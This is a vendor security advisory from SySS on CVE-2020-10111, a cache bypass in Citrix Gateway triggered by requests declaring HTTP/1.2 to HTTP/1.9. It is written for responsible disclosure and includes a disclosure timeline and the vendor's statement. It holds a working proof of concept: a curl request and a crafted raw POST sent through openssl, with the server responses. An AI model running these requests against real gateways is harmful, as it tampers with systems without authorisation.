Advisory ID:               SYSS-2020-006
Product:                   Citrix Gateway
Manufacturer:              Citrix Systems, Inc.
Affected Version(s):       11.1, 12.0, 12.1
Tested Version(s):         11.1.63.15, 12.0.63.13, 12.1.55.18
Vulnerability Type:        Inconsistent Interpretation of HTTP Requests (CWE-444)
Risk Level:                Low
Solution Status:           Open
Manufacturer Notification: 2020-01-31
Solution Date:             no solution
Public Disclosure:         2020-03-05
CVE Reference:             CVE-2020-10111
Author of Advisory:        Micha Borrmann (SySS GmbH)

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Overview:

"Citrix Gateway is a customer-managed solution that can be deployed on
premises or on any public cloud, such as AWS, Azure, or Google Cloud
Platform.  Citrix Gateway provides users with secure access and single
sign-on to all the virtual, SaaS and web applications they need to be
productive." (see [1])

The solution contains a caching system, which stores content for a
static period of time.  With a simple attack the cache can be
bypassed.

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Vulnerability Details:

Requests with the invalid and not specified protocols declared as
HTTP/1.2 up to HTTP/1.9 can be used to bypass the caching system.

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Proof of Concept (PoC):

As described in the security advisory SYSS-2020-005, the cache can be
poisoned. The value in the cache was poisoned with the value 42. But
this request should be answered with the value 23.

$ curl --include --url https://$NSGATEWAYHOST/logon/incremental.php --data "value=22"
HTTP/1.1 200 OK
Age: 5         
Date: Fri, 31 Jan 2020 12:26:03 GMT
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-store, must-revalidate
Connection: Keep-Alive
Via: NS-CACHE-10.0: 121
ETag: "KXGGENKFDKOU"
Server: Apache
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Content-Length: 3
Content-Type: text/html; charset=UTF-8

42


Using HTTP/1.2 in the request, the cache can be bypassed and in the
PoC request the value will be processed correctly.

$ VALUE=22; echo -e "POST /logon/incremental.php HTTP/1.2\nHost: $NSGATEWAYHOST\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: $[${#VALUE}+6]\n\nvalue=$VALUE"|openssl s_client -connect $NSGATEWAYHOST:https -quiet
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority
verify return:1
depth=1 C = GB, ST = Greater Manchester, L = Salford, O = Sectigo Limited, CN = Sectigo RSA Domain Validation Secure Server CA
verify return:1
depth=0 CN = $NSGATEWAYHOST
verify return:1
HTTP/1.1 200 OK
Date: Fri, 31 Jan 2020 12:27:42 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Cache-Control: no-store, must-revalidate
Pragma: no-cache
Expires: 0
Content-Length: 3
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

23

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Solution:

SySS GmbH is not aware of a solution to the described security issue.
The Citrix Security Response Team responded on 02/28/2020 with the
following statement: "We have determined that the described cache
behavior does not have a security impact and is not considered a
vulnerability."

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Disclosure Timeline:

2020-01-30: Detection of the vulnerability
2020-01-31: Vulnerability reported to manufacturer
2020-02-28: Received vendor's response
2020-03-04: CVE number assigned
2020-03-05: Public release of the security advisory

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References:

[1] Citrix Gateway product website
    https://www.citrix.com/products/citrix-gateway/
[2] SySS Security Advisory SYSS-2020-006
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-006.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/responsible-disclosure-policy/

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Credits:

This security vulnerability was found by Micha Borrmann of SySS GmbH.

E-Mail: micha.borrmann (at) syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Micha_Borrmann.asc
Key Fingerprint: F2E7 C6A5 9950 84ED 7AD6  0DD4 EDBE 26E7 14EA 5876

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Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory
may be updated in order to provide as accurate information as
possible. The latest version of this security advisory is available on
the SySS Web site.

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Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en